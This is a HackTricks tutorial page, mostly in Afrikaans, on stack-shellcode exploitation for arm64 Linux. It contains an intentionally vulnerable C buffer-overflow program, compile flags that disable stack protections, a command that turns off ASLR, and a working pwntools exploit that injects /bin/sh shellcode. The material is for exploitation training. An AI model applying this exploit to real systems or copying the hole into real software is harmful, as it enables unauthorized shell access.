Stack Shellcode - arm64

Reading time: 3 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Vind 'n inleiding tot arm64 in:

Introduction to ARM64v8

Linux

Kode

c
#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompileer sonder pie, canary en nx:

bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

Geen ASLR & Geen canary - Stack Overflow

Om ASLR te stop, voer uit:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Om die offset van die bof, kyk na hierdie skakel.

Exploit:

python
from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

Die enigste "komplekse" ding om hier te vind sou die adres op die stack wees om aan te roep. In my geval het ek die exploit gegenereer met die adres wat met gdb gevind is, maar toe ek dit eksploiteer het het dit nie gewerk nie (omdat die stack-adres effens verander het).

Ek het die gegenereerde core lêer (gdb ./bog ./core) oopgemaak en die werklike adres van die begin van die shellcode nagegaan.

macOS

tip

Dit is nie moontlik om NX in macOS uit te skakel nie omdat op arm64 hierdie modus op hardewarevlak geïmplementeer is, so jy kan dit nie uitskakel nie, daarom sal jy nie voorbeelde met shellcode op die stack in macOS vind nie.

Kyk na 'n macOS ret2win voorbeeld in:

Ret2win - arm64

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks